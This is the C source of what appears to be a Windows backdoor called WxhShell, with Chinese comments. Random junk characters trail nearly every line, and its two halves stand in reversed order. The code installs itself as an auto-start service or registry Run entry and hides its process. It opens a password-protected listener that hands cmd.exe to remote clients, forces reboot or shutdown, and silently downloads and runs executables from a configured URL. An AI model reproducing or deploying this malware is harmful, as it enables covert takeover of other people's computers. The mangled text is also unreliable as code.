    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /  DeI s  
    if(Boot(SHUTDOWN)) PS`)6yn{_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E`LML?   
    else { S$BwOx3QF  
    closesocket(wsh); LNXhzW   
    ExitThread(0); NjYpNd?g  
    } pL-p  
    break; 0@*rp7   
    } ;OPzT9  
  // 获取shell aODOc J N  
  case 's': { C<qJnB:B 9  
    CmdShell(wsh); !rTh+F*  
    closesocket(wsh); -$dnUXFsj[  
    ExitThread(0); W$?1" F.  
    break; wd..{j0&  
  } (d4zNYK  
  // 退出 [5a`$yaQ  
  case 'x': { mOGcv_L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bC?t4-W  
    CloseIt(wsh); j#-ZL-N  
    break; 7" Dw4}T  
    } 2NIK0%6  
  // 离开 <X|"5/h  
  case 'q': { lQi2ym?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <wj2:Z0  
    closesocket(wsh); JS({au  
    WSACleanup(); 0/{-X[z  
    exit(1); zHDC8m  
    break; @_1$ <8  
        } ^a<=@0|  
  } \Qu~iB(Y  
  } ,o*b-Cv/  
(;~[}"  
  // 提示信息 8{%/!ylJz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t!D=oBCro  
} pOIFO =k  
  } dr,j~s  
WDE_"Mm  
  return; 'qQ DM_+  
} ik7#Og~ 3  
-uy}]s5Qu  
// shell模块句柄 ;S,g&%N  
int CmdShell(SOCKET sock) 5A~w_p*}  
{ W!XFaA$  
STARTUPINFO si; W=I%3F_C"R  
ZeroMemory(&si,sizeof(si)); (t<i? >p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J +<|8D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yk?ux Z4)H  
PROCESS_INFORMATION ProcessInfo; rd%3eR?V  
char cmdline[]="cmd"; OSfwA&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LP=!u~?  
  return 0; uZ<Bfrc  
} V&h ,v%$  
IK~ur\3  
// 自身启动模式 RD{jYr;  
int StartFromService(void) //H+S q66  
{ b cz<t)  
typedef struct Wd~}O<"  
{ }Z0)FU +  
  DWORD ExitStatus; Z U f<s?  
  DWORD PebBaseAddress; F^A1'J  
  DWORD AffinityMask; Haq23K  
  DWORD BasePriority; .Ddl.9p5  
  ULONG UniqueProcessId; Pvbw>k;  
  ULONG InheritedFromUniqueProcessId; RR`?o\  
}   PROCESS_BASIC_INFORMATION; V!]e#QH;  
G>#L  
PROCNTQSIP NtQueryInformationProcess; kIXLB!L2b^  
@H7dQ, %  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tC|5;'m.2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G@,qO#5&  
~a/yLI"'g  
  HANDLE             hProcess; LjxTRtB_  
  PROCESS_BASIC_INFORMATION pbi; .JQR5R |Q  
b!7"drge:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8&dmH&  
  if(NULL == hInst ) return 0; %pTbJaM\U  
?;^_%XSQ*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '|WMt g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3 5|5|m a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r"5]U`+  
xvpS%MS  
  if (!NtQueryInformationProcess) return 0; fFSW\4JD=  
,:=E+sS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d*q _DV  
  if(!hProcess) return 0; 9%\q*  
7p u*/W~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IGv>0LOd@  
|mmIu_  
  CloseHandle(hProcess); @X1>Wv|[  
dzbzZ@y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VZ_ 4B *D  
if(hProcess==NULL) return 0; 0B3*\ H}5  
(`>4~?|+T  
HMODULE hMod; FA4bv9:hi  
char procName[255]; 9O}YtX2  
unsigned long cbNeeded; m[Zz(tL  
RJBNY;0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mjy%xzVr6^  
tYmWze. j  
  CloseHandle(hProcess); O-  r"G  
HESwz{eSS  
if(strstr(procName,"services")) return 1; // 以服务启动 <([o4%  
.bnoK  
  return 0; // 注册表启动 |? r,W ~9`  
} m"+9[d_u  
4fpz;2%  
// 主模块 rJ!xzge;G  
int StartWxhshell(LPSTR lpCmdLine)  /H!I90  
{ j##IJm  
  SOCKET wsl; %)q5hB  
BOOL val=TRUE; U_M> Q_r(  
  int port=0; `n5|4yaG~  
  struct sockaddr_in door; (A(d]l  
i ]F,Y;&|  
  if(wscfg.ws_autoins) Install(); Is?0q@  
!;iySRZr  
port=atoi(lpCmdLine); {f3T !e{  
jQsucs5$h  
if(port<=0) port=wscfg.ws_port; t ;y>q  
H;IG\k6C  
  WSADATA data; p^~lQ8t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &?YQVwsN  
X}Fc0Oo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fwho.R-.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^*}L9Ot~  
  door.sin_family = AF_INET; qZA?M=NT?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UY)YhXW  
  door.sin_port = htons(port); mC J/gWDY  
PtmdUHvD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G%rK{h  
closesocket(wsl); HOu<,9?>Q  
return 1; $IB@|n  
} zy5@K)  
oa;[[2c  
  if(listen(wsl,2) == INVALID_SOCKET) { F/@#yQv?  
closesocket(wsl);  h}+,]^  
return 1; #i:p,5~")  
} k)y0V:ZY]O  
  Wxhshell(wsl); pm<<!`w"  
  WSACleanup(); f9OVylm  
{WFYNEQ[  
return 0; =X-$k k  
m,*t}j0 7  
} .;*0odxv  
f+L )x  
// 以NT服务方式启动 O6boTB_2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %&e5i  
{ I uhyBo  
DWORD   status = 0; PjRKYa_U  
  DWORD   specificError = 0xfffffff; jY$|_o.4  
8!:4m"Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;k!Ej-(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9$#2+G!J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2R|2yAh  
  serviceStatus.dwWin32ExitCode     = 0; bjD0y cB[  
  serviceStatus.dwServiceSpecificExitCode = 0; jsk<N  
  serviceStatus.dwCheckPoint       = 0; qK(? \ t$  
  serviceStatus.dwWaitHint       = 0; S{ fNeK  
9)H~I/9Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !cWKY \lpv  
  if (hServiceStatusHandle==0) return; ( 8H "'  
=o+t_.)N  
status = GetLastError(); o.y4&bC14;  
  if (status!=NO_ERROR) sA}=o.\j:  
{ -+O8v;aC'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V{c n1Af  
    serviceStatus.dwCheckPoint       = 0; P#76ehR]K  
    serviceStatus.dwWaitHint       = 0; ]sbu9O ^"f  
    serviceStatus.dwWin32ExitCode     = status; }bjTb!  
    serviceStatus.dwServiceSpecificExitCode = specificError; ob-be2EysH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1/ j}VC  
    return; ,X9Y/S l  
  } U_oMR$/Z  
]6 }|X#_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |A0kbC.  
  serviceStatus.dwCheckPoint       = 0; s}/YcUK  
  serviceStatus.dwWaitHint       = 0;  UIhB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); se7_:0+w  
} % sT=>\  
1.jW^sM  
// 处理NT服务事件,比如:启动、停止 u3"F7 lJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .X YSO  
{ E~{-RZNK  
switch(fdwControl) uXtfP?3Vy  
{ Rp9uUJ 6o  
case SERVICE_CONTROL_STOP: I,t 0X)  
  serviceStatus.dwWin32ExitCode = 0; l3(k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q:@Y/4=  
  serviceStatus.dwCheckPoint   = 0; [=..#y!U  
  serviceStatus.dwWaitHint     = 0; rZGA9duy  
  { !4-NbtT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D:%$a]_f  
  } = `70]%  
  return; ezHj?@  
case SERVICE_CONTROL_PAUSE: [o> /2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q7`zrCh  
  break; ilpg()  
case SERVICE_CONTROL_CONTINUE: a08B8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lzl4pnj  
  break; WET $H,  
case SERVICE_CONTROL_INTERROGATE: <}.)kg${O  
  break; dI'C[.zp[  
}; %Sxy!gGz%%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M`iJ6L  
} .{)b^gE  
I8`.e qV  
// 标准应用程序主函数 @WFjM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;2%3~L8?V  
{ x"U/M ?l  
c( gUH  
// 获取操作系统版本 H$\?D+xlf  
OsIsNt=GetOsVer(); qF( ]Ce  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2yeq2v   
5F&i/8Ib  
  // 从命令行安装 O(WFjmHx  
  if(strpbrk(lpCmdLine,"iI")) Install(); f{^n<\Jh  
I%{U~  
  // 下载执行文件  '6 w|z^  
if(wscfg.ws_downexe) { :%!SzI?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E}" &? oY  
  WinExec(wscfg.ws_filenam,SW_HIDE); 45ct*w  
} 3c-ve$8u~  
urtcSq&H'  
if(!OsIsNt) { >8>.o[Q&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ! '2'db  
HideProc(); m=y6E, _  
StartWxhshell(lpCmdLine); 1f}S:Z  
} Ea P#~x  
else QP\vN|r  
  if(StartFromService()) ;gW~+hW^  
  // 以服务方式启动 4tq>Lx^5U  
  StartServiceCtrlDispatcher(DispatchTable); XWB>' UDQ#  
else I s8|  
  // 普通方式启动 <GoE2a4Va  
  StartWxhshell(lpCmdLine); poXkH@[O  
u2Rmp4]  
return 0; G&3j/5V  
} !gT6S o  
- MBK/  
czHO)uQ?d`  
]8H;LgM2  
=========================================== kWoy%?|RRa  
^2=Jv.2{|  
? 4.W _  
x,p|n  
qrt+{5/t  
/&kTVuN"(  
" kSI,Q!e\  
KDn`XCnk,  
#include <stdio.h> @${!C\([1  
#include <string.h> c)Y I3G$  
#include <windows.h> j"YJ1R-5  
#include <winsock2.h> uIWCVR8`Y  
#include <winsvc.h> 5Impv3qaZ  
#include <urlmon.h> _~_Hup  
nQ/ha9v=n  
#pragma comment (lib, "Ws2_32.lib") g`1*p|  
#pragma comment (lib, "urlmon.lib") u\Xi]pZ@X]  
M8g=t[\  
#define MAX_USER   100 // 最大客户端连接数 *, {b]6v  
#define BUF_SOCK   200 // sock buffer J@R+t6$3O  
#define KEY_BUFF   255 // 输入 buffer ;>CmVC'/  
AE<AEq  
#define REBOOT     0   // 重启 aV>w($tdd  
#define SHUTDOWN   1   // 关机 D|+H!f{k  
6.By)L  
#define DEF_PORT   5000 // 监听端口 IAtc^'l#  
?j $z[_K  
#define REG_LEN     16   // 注册表键长度 sN;U,{  
#define SVC_LEN     80   // NT服务名长度 40:YJ_n  
%*/?k~53  
// 从dll定义API O:u^jcXA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jh=:QP/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g0iV#i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [F6=JZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p?d Ma_ g  
S'?XI@t[  
// wxhshell配置信息 O81})r*Y  
struct WSCFG { %VwB ?  
  int ws_port;         // 监听端口 S&]JY  
  char ws_passstr[REG_LEN]; // 口令 blS*HKw  
  int ws_autoins;       // 安装标记, 1=yes 0=no &#d;dcLe  
  char ws_regname[REG_LEN]; // 注册表键名 gNxnoOY  
  char ws_svcname[REG_LEN]; // 服务名 Q[g%((DL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  -EITz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <'s1+^LC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [#14atv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no > m5j.GP;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ch< zpo:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .Sb|+[{  
&5zUk++  
}; =3& WH0  
aY"qEH7]  
// default Wxhshell configuration /e\} qq  
struct WSCFG wscfg={DEF_PORT, C#vh2'  
    "xuhuanlingzhe", 8U=M.FFp  
    1, Z0E+EMo  
    "Wxhshell", >|rL0  
    "Wxhshell", pF8'S{y  
            "WxhShell Service", J7E/2Sl  
    "Wrsky Windows CmdShell Service", s%/0WW0y^  
    "Please Input Your Password: ", |]B]0J#_  
  1, $~9U-B\  
  "http://www.wrsky.com/wxhshell.exe", ( NiuAy  
  "Wxhshell.exe" oYqC"g&4Z  
    }; "\V:W%23W{  
}Rf } iG  
// 消息定义模块 '7=*n_l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RhDa`kV%t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (8>k_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  x'  
char *msg_ws_ext="\n\rExit."; I~mw\K{.3M  
char *msg_ws_end="\n\rQuit."; [hiOFmMJZ-  
char *msg_ws_boot="\n\rReboot..."; P0 89Mh9  
char *msg_ws_poff="\n\rShutdown..."; wYF)G;[wM  
char *msg_ws_down="\n\rSave to "; ^.<IT"  
DdFVOs|  
char *msg_ws_err="\n\rErr!"; )lW<: ?k  
char *msg_ws_ok="\n\rOK!"; VSSiuo'5w  
;j52a8uE'}  
char ExeFile[MAX_PATH]; p4el9O&-tV  
int nUser = 0; 2<J82(4j  
HANDLE handles[MAX_USER]; &!_Ko`b8K  
int OsIsNt; ?dTz?C.w  
.}0Cg2W  
SERVICE_STATUS       serviceStatus; @D7cv"   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y24 0 +;a  
fh2Pn!h+  
// 函数声明 g1}RA@9  
int Install(void); koie  
int Uninstall(void); X'3F79`  
int DownloadFile(char *sURL, SOCKET wsh); .II'W3Fr  
int Boot(int flag); 4frZ .r;V  
void HideProc(void); O=+C Kx@  
int GetOsVer(void); *]H ./a:1  
int Wxhshell(SOCKET wsl); _R8-Hj E  
void TalkWithClient(void *cs); &0o&!P8CB  
int CmdShell(SOCKET sock); -BjB>Vt  
int StartFromService(void); "o TwMU  
int StartWxhshell(LPSTR lpCmdLine); J5l:_hZUV  
jwE<}y I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EM([N*8o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gReaFnm  
xAoozDj  
// 数据结构和表定义 z#-&MJ  
SERVICE_TABLE_ENTRY DispatchTable[] = &2Y>yFB ,  
{ =F:d#j>F  
{wscfg.ws_svcname, NTServiceMain}, 8m6L\Z&  
{NULL, NULL} }SOj3.9{c  
}; XCt}>/"s\h  
%b_zUFHPp  
// 自我安装 z24-h C  
int Install(void) LAvAjvRc  
{ yC _X@o-n  
  char svExeFile[MAX_PATH]; Fs=nAn#  
  HKEY key; IYj-cm  
  strcpy(svExeFile,ExeFile); [` i;gx[^  
[}VEDx  
// 如果是win9x系统,修改注册表设为自启动 )@sz\yI%U  
if(!OsIsNt) { +V0uH pm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fa!iQfr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &9O-!  
  RegCloseKey(key); T[7- 3[w<)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b. t]p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G.BqT\ o'  
  RegCloseKey(key); g;*~ xo  
  return 0; vUCU%>F  
    }  a1j 6-p  
  } Jl4zj>8~  
} pQqZ4L6v  
else { '8W }|aF  
LS \4y&J40  
// 如果是NT以上系统,安装为系统服务 _ Fer-nQ2R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a u#IA  
if (schSCManager!=0) M9iu#6P  
{ Ml)WY#7  
  SC_HANDLE schService = CreateService >=B8PK+<  
  ( k!! o!rBS  
  schSCManager, 3 =S.-  
  wscfg.ws_svcname, 3L;)asF  
  wscfg.ws_svcdisp, S3n$  
  SERVICE_ALL_ACCESS, &yP9vp="  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }5% !: =  
  SERVICE_AUTO_START, 0{jRXa-(  
  SERVICE_ERROR_NORMAL, !e%#Zb MIo  
  svExeFile, kdv>QZ  
  NULL, UyvFR@  
  NULL, <7)@Jds\  
  NULL, /FQumqbnt  
  NULL, gsZCWT  
  NULL 2B*9]AHny  
  ); J NsK   
  if (schService!=0) 8S)k]$wf%  
  { jd$lu^>I  
  CloseServiceHandle(schService); x0 j$]$  
  CloseServiceHandle(schSCManager); g#H#i~E^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hd '!f  
  strcat(svExeFile,wscfg.ws_svcname); j:fL_1m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _w'4f )7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ye,E7A*L  
  RegCloseKey(key); Z*leEwgz  
  return 0; M~^|dR)D  
    } 1[^2f70n  
  } 8_:jPd! 3  
  CloseServiceHandle(schSCManager); z5Po,@W  
} !,I}2,1%k  
} B!9<c9/ P]  
dhV =;'   
return 1; _I75[W!  
} o^lKM?t  
[P"#?7 N  
// 自我卸载 *P9)M%  
int Uninstall(void) F9Mv$ g79  
{ &%FpNU9  
  HKEY key; 0OlB;  
P=eL24j  
if(!OsIsNt) { 5z=;q!3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { obY5taOw  
  RegDeleteValue(key,wscfg.ws_regname); }yXa1#3  
  RegCloseKey(key); k(V#{ YP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I=. 98v%  
  RegDeleteValue(key,wscfg.ws_regname); U@i+XZc"S  
  RegCloseKey(key); w+[r$+z!k  
  return 0; I>fEwMk~  
  } M$|^?U>cm  
} #lF8"@)a-$  
} X}_kLfP/9  
else { &;*jMu6  
&i6WVNGy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z0doL b^!  
if (schSCManager!=0) vrQ/Yf:\B  
{ E{1O<qO<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m+,a=sR  
  if (schService!=0) ix6j=5{  
  { `@-H ;  
  if(DeleteService(schService)!=0) { wzF/`z&0?6  
  CloseServiceHandle(schService); _0ep[r  
  CloseServiceHandle(schSCManager); YJF!_kg.  
  return 0; > u~ l_?  
  } P!1y@R>Ln  
  CloseServiceHandle(schService); jsH7EhF{'  
  } ]B\H  
  CloseServiceHandle(schSCManager); B`9'COw  
} n:'Mpux  
} qVE6ROSh  
P**h\+M>{  
return 1; I6zKvP8pb  
} ':6`M  
&*A7{76x  
// 从指定url下载文件 l3rr2t  
int DownloadFile(char *sURL, SOCKET wsh) A6pPx1-&  
{ <4D.P2ct  
  HRESULT hr; %^kBcId  
char seps[]= "/"; &n91f  
char *token; c|IH|y  
char *file; Z!v)zH\  
char myURL[MAX_PATH]; gT?:zd=;  
char myFILE[MAX_PATH]; X\V1c$13CK  
L >Y%$|4  
strcpy(myURL,sURL); ~*ST fyFw  
  token=strtok(myURL,seps); _e7 Y R+  
  while(token!=NULL) [y&yy|*\  
  { aF]4%E  
    file=token; #J# x,BLI  
  token=strtok(NULL,seps); /X9Kg  
  } Me_.X_  
OXT 5 y)   
GetCurrentDirectory(MAX_PATH,myFILE); -Uh3A\#(  
strcat(myFILE, "\\"); ewvFUD'j  
strcat(myFILE, file); T2Ms/1FH/@  
  send(wsh,myFILE,strlen(myFILE),0); { ZrIA+eH  
send(wsh,"...",3,0); zU}Ru&T9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8t25wPlx  
  if(hr==S_OK) aHuZzYQ*"j  
return 0; bXmX@A$#Io  
else a=]tqV_  
return 1; N7=lSBm  
w|lA%H7`J  
} MZZEqsD5[  
l`>|XUf6  
// 系统电源模块 Nb(c;|nV  
int Boot(int flag) j0_)DG  
{ nc4KeEl  
  HANDLE hToken; #{-B`FAQ  
  TOKEN_PRIVILEGES tkp; J!YB_6b  
5%Hw,h   
  if(OsIsNt) { qT5q3A(8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bi:%}8STH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 62)Qr  
    tkp.PrivilegeCount = 1; J2W#vFe\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z8I  Y!d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NGIt~"e7R4  
if(flag==REBOOT) { `n)e] dn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d< j+a1&  
  return 0; }Vjg>"  
} @{n"/6t  
else { @komb IK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) __LR!F]=i  
  return 0; 0wQ'~8  
} X\sOeb:]  
  } YS],o'T  
  else { C&wp*  
if(flag==REBOOT) { $`;1][OD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r}T(?KGx  
  return 0; '1P~"P3  
} >h)D~U(H  
else { &|MdBJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qca,a3k  
  return 0; B6UTooj  
} `X)y5*##wq  
}  r`-=<@[  
~/C9VR&  
return 1; 6Uh_&?\%  
} DL<b)# h#  
,! b9  
// win9x进程隐藏模块 #w]UP#^io  
void HideProc(void) ~xPU#m<  
{ HV21=W  
KJ (|skO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =2XAQiUR\  
  if ( hKernel != NULL ) -,:^dxE'  
  { }ZqnsLu[)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b,h@.s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  T&'p5h=l  
    FreeLibrary(hKernel); FT8<a }o  
  } OKi}aQ2R*  
y$$|_ l@  
return; <DR$WsDG  
} 12]rfd   
]Xm+-{5?!R  
// 获取操作系统版本 ExKyjWAJ  
int GetOsVer(void) u0;k_6N  
{ Nhf@Y}Cu  
  OSVERSIONINFO winfo; e92,@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NdxPC~Z+  
  GetVersionEx(&winfo); 6K7DZ96L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) unvS`>)Np  
  return 1; >p*7)  
  else V |cPAT%  
  return 0; (4f]<Qt  
} _9f7@@b  
&TT vX% T  
// 客户端句柄模块 He9Er  
int Wxhshell(SOCKET wsl) #=uV, dw  
{ tNvjwgV\  
  SOCKET wsh; dkWV/DAm  
  struct sockaddr_in client; |1%eo.  
  DWORD myID; &v)/mc7D  
do[w&`jw8  
  while(nUser<MAX_USER) x1`4hB  
{ "W^+NeLc  
  int nSize=sizeof(client); gT_tR_g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h~pQ  
  if(wsh==INVALID_SOCKET) return 1; :8t;_f  
)ko[_OJj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bv xLbl}  
if(handles[nUser]==0) yz7Fe  
  closesocket(wsh); `T,^os#6  
else 2WUl8?f2Y  
  nUser++; sa?s[  
  } l@:&0id4I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qDS~|<Y5  
J?Bj=b  
  return 0; Nt,:`o |  
} =d BK,/  
}ijFvIHV  
// 关闭 socket qTz5P  
void CloseIt(SOCKET wsh) 3!op'X!  
{ m1D,#=C,_  
closesocket(wsh); h$]nfHi_Q  
nUser--; ly`\TnC  
ExitThread(0); d(YAH@  
} 2)Q%lEm`SP  
fQxlYD'peb  
// 客户端请求句柄 Mtaky=l8~I  
void TalkWithClient(void *cs) 5mX"0a_Q  
{ gI/ SA  
XMF#l]P  
  SOCKET wsh=(SOCKET)cs; s54AM]a{j  
  char pwd[SVC_LEN]; YF(bl1>YC  
  char cmd[KEY_BUFF]; qN'%q+n  
char chr[1]; =, 64Qbau  
int i,j; t(99m=9>  
%_(^BZd  
  while (nUser < MAX_USER) { TU1W!=Z  
a+B3`6  
if(wscfg.ws_passstr) { !jg< S>S5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RgD:"zeM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '#Q\p6G&_  
  //ZeroMemory(pwd,KEY_BUFF); B$G9#G6pZ  
      i=0; 8w ]'U  
  while(i<SVC_LEN) { o,qUf  
U9XOs)^  
  // 设置超时 ),@m 3wQ  
  fd_set FdRead; ;?{OX  
  struct timeval TimeOut; c3)6{  
  FD_ZERO(&FdRead); }-@h H(  
  FD_SET(wsh,&FdRead); fM3ZoH/  
  TimeOut.tv_sec=8; RijFN.s  
  TimeOut.tv_usec=0; R=C+]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "d*-k R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =.IAd< C  
n],"!>=+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Q|v5@;pU  
  pwd=chr[0]; .X"\ Mg  
  if(chr[0]==0xd || chr[0]==0xa) { ^@$T>SB1  
  pwd=0; |H%,>r`9S  
  break; gb26Y!7%  
  } '/fueku  
  i++; fS4 Ru  
    } EdCcnl?R6  
A<-3u  
  // 如果是非法用户,关闭 socket 0BN=>]V~j7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lrmz'M'  
} ~,{nBp9*  
FXbalQ?^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); # "TL*p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qSQsY:]j0  
+2m\Sv V  
while(1) { \O\veB8  
Lmc"q FzK  
  ZeroMemory(cmd,KEY_BUFF); 960rbxKy3  
~./M5P!\  
      // 自动支持客户端 telnet标准   ;h4w<OqcM  
  j=0; mam(h{f$  
  while(j<KEY_BUFF) { << aAYkx <  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rlkg.e6  
  cmd[j]=chr[0]; Tl*FK?)MC^  
  if(chr[0]==0xa || chr[0]==0xd) { E>rWm_G  
  cmd[j]=0; AeEF/*  
  break; 5dhT?/qvc  
  } vUg o)C#<  
  j++; BoXGoFn  
    } I< Rai"  
xJ)vfo  
  // 下载文件 Zc*gRC  
  if(strstr(cmd,"http://")) { } "AGX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R^GLATM  
  if(DownloadFile(cmd,wsh)) #VM-\02o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S)*!jI  
  else 1ogh8%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lof}isOz  
  } #:M)a?E/%  
  else { UP |#WegO  
oS_<;Fj  
    switch(cmd[0]) { |.[4$C  
  #[ hJm'G  
  // 帮助 0Xw3h^%  
  case '?': { $5a%hK  
